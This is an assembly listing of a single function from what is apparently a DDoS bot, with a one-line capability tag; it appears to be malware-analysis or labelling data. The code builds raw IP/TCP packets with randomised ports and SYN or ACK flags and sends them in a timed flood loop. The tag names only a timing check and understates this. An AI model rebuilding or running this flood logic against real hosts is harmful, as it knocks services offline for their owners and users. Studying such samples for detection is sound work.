Function at 0x406bf0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2cc
mov eax, dword [ebp + 0x14]
mov word [ebp - 0x2ac], ax
lea edx, [ebp - 0x25c]
mov eax, 0
mov ecx, 0xf
mov edi, edx
rep stosd dword es:[edi], eax
mov edx, dword [0x44ed8c]
lea eax, [ebp - 0x1b0]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call edx
sub esp, 8
test eax, eax
setne al
test al, al
je 0x406c49
mov eax, 0
jmp 0x4072b7
mov eax, dword [0x44ed90]
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0xff
mov dword [esp + 4], 3
mov dword [esp], 2
call eax
sub esp, 0x18
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
sete al
test al, al
je 0x406ca1
mov eax, dword [0x44eda4]
call eax
mov eax, 0
jmp 0x4072b7
mov dword [ebp - 0x2a0], 1
mov edx, dword [0x44edec]
mov dword [esp + 0x10], 4
lea eax, [ebp - 0x2a0]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call edx
sub esp, 0x14
cmp eax, 0xffffffff
sete al
test al, al
je 0x406d0a
mov edx, dword [0x44ee04]
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call edx
sub esp, 4
mov eax, dword [0x44eda4]
call eax
mov eax, 0
jmp 0x4072b7
mov word [ebp - 0x1c0], 2
mov edx, dword [0x44edbc]
movzx eax, word [ebp - 0x2ac]
mov dword [esp], eax
call edx
sub esp, 4
mov word [ebp - 0x1be], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1bc], eax
mov byte [ebp - 0x1d4], 0x45
mov eax, dword [0x44edbc]
mov dword [esp], 0x28
call eax
sub esp, 4
mov word [ebp - 0x1d2], ax
mov word [ebp - 0x1d0], 1
mov word [ebp - 0x1ce], 0
mov byte [ebp - 0x1cc], pe_nt_image_headers32
mov byte [ebp - 0x1cb], 6
mov word [ebp - 0x1ca], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c4], eax
mov edx, dword [0x44edbc]
movzx eax, word [ebp - 0x2ac]
mov dword [esp], eax
call edx
sub esp, 4
mov word [ebp - 0x1e6], ax
mov ebx, dword [0x44edbc]
call sub.msvcrt.dll_rand
mov ecx, eax
movzx eax, cx
imul eax, eax, 0xffc1
shr eax, 0x10
shr ax, 0xa
mov edx, eax
shl edx, 0xa
add edx, eax
mov eax, ecx
sub eax, edx
movzx eax, ax
mov dword [esp], eax
call ebx
sub esp, 4
mov word [ebp - 0x1e8], ax
mov eax, dword [0x44edc0]
mov dword [esp], 0x12345678
call eax
sub esp, 4
mov dword [ebp - 0x1e4], eax
mov dword [esp + 4], 0x43f6b4
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x406e23
mov dword [ebp - 0x1e0], 0
mov byte [ebp - 0x1db], 2
jmp 0x406eae
mov dword [esp + 4], 0x43f6bd
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x406e4d
mov dword [ebp - 0x1e0], 0
mov byte [ebp - 0x1db], 0x10
jmp 0x406eae
mov dword [esp + 4], 0x43f6c6
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x406eae
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x55555556
mov eax, ecx
imul edx
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
add eax, eax
add eax, edx
sub ecx, eax
mov edx, ecx
mov eax, edx
mov dword [ebp - 0x1e0], eax
call sub.msvcrt.dll_rand
and eax, 1
test eax, eax
sete al
test al, al
je 0x406ea7
mov byte [ebp - 0x1db], 2
jmp 0x406eae
mov byte [ebp - 0x1db], 0x10
mov byte [ebp - 0x1dc], 0x50
mov eax, dword [0x44edbc]
mov dword [esp], 0x4000
call eax
sub esp, 4
mov word [ebp - 0x1da], ax
mov word [ebp - 0x1d6], 0
mov dword [ebp - 0x2a4], 0
lea eax, [ebp - 0x210]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
call eax
sub esp, 4
lea eax, [ebp - 0x220]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call eax
sub esp, 4
mov ecx, dword [ebp - 0x210]
mov ebx, dword [ebp - 0x20c]
mov eax, dword [ebp + 0x18]
cdq
mov edi, ebx
imul edi, eax
mov esi, edx
imul esi, ecx
add esi, edi
mul ecx
lea ecx, [esi + edx]
mov edx, ecx
mov ecx, dword [ebp - 0x220]
mov ebx, dword [ebp - 0x21c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], edx
mov word [ebp - 0x1d8], 0
mov ebx, dword [0x44edbc]
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x4178749f
mov eax, ecx
imul edx
sar edx, 8
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x3e9
sub ecx, eax
mov eax, ecx
add ax, 0x3e8
movzx eax, ax
mov dword [esp], eax
call ebx
sub esp, 4
mov word [ebp - 0x1e8], ax
mov ebx, dword [0x44edbc]
call sub.msvcrt.dll_rand
shl eax, 0x10
mov esi, eax
call sub.msvcrt.dll_rand
or eax, esi
movzx eax, ax
mov dword [esp], eax
call ebx
sub esp, 4
movzx eax, ax
mov dword [ebp - 0x1e4], eax
mov ecx, dword [0x44edc0]
mov eax, dword [ebp + 0xc]
lea edx, [eax + 1]
mov dword [ebp + 0xc], edx
mov dword [esp], eax
call ecx
sub esp, 4
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x204], eax
mov byte [ebp - 0x200], 0
mov byte [ebp - 0x1ff], 6
mov eax, dword [0x44edbc]
mov dword [esp], 0x14
call eax
sub esp, 4
mov word [ebp - 0x1fe], ax
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x25c], eax
mov eax, dword [ebp - 0x204]
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x250], eax
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x24c], eax
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x248], eax
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x244], eax
mov eax, dword [ebp - 0x1ec]
mov dword [ebp - 0x240], eax
lea eax, [ebp - 0x25c]
add eax, 0x20
mov edx, dword [ebp - 0x1e8]
mov dword [eax], edx
mov edx, dword [ebp - 0x1e4]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x1e0]
mov dword [eax + 8], edx
mov edx, dword [ebp - 0x1dc]
mov dword [eax + 0xc], edx
mov edx, dword [ebp - 0x1d8]
mov dword [eax + 0x10], edx
mov dword [esp + 4], 0x34
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call fcn.00414192
mov word [ebp - 0x1d8], ax
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x25c], eax
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x250], eax
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x24c], eax
lea eax, [ebp - 0x25c]
add eax, 0x14
mov edx, dword [ebp - 0x1e8]
mov dword [eax], edx
mov edx, dword [ebp - 0x1e4]
mov dword [eax + 4], edx
mov edx, dword [ebp - 0x1e0]
mov dword [eax + 8], edx
mov edx, dword [ebp - 0x1dc]
mov dword [eax + 0xc], edx
mov edx, dword [ebp - 0x1d8]
mov dword [eax + 0x10], edx
lea eax, [ebp - 0x25c]
add eax, 0x28
mov dword [esp + 8], 4
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_memset
mov dword [esp + 4], 0x28
lea eax, [ebp - 0x25c]
mov dword [esp], eax
call fcn.00414192
mov word [ebp - 0x1ca], ax
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x25c], eax
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x250], eax
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x24c], eax
mov edx, dword [0x44edd0]
mov dword [esp + 0x14], 0x10
lea eax, [ebp - 0x1c0]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x28
lea eax, [ebp - 0x25c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call edx
sub esp, 0x18
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x407247
mov eax, dword [0x44eda0]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], str._DDoS_:_Send_error:___d_.
lea eax, [ebp - 0x29c]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x29c]
mov dword [esp], eax
call fcn.00402bae
mov edx, dword [0x44ee04]
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call edx
sub esp, 4
mov eax, dword [0x44eda4]
call eax
mov eax, 0
jmp 0x4072b7
mov edx, dword [ebp - 0x2a4]
mov eax, dword [ebp - 0x20]
add eax, edx
mov dword [ebp - 0x2a4], eax
lea eax, [ebp - 0x220]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call eax
sub esp, 4
mov ecx, dword [ebp - 0x220]
mov ebx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x218]
mov edx, dword [ebp - 0x214]
cmp ebx, edx
jl 0x406f45
cmp ebx, edx
jg 0x407298
cmp ecx, eax
jae 0x407298
jmp 0x406f45
nop
mov edx, dword [0x44ee04]
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call edx
sub esp, 4
mov eax, dword [0x44eda4]
call eax
mov eax, dword [ebp - 0x2a4]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret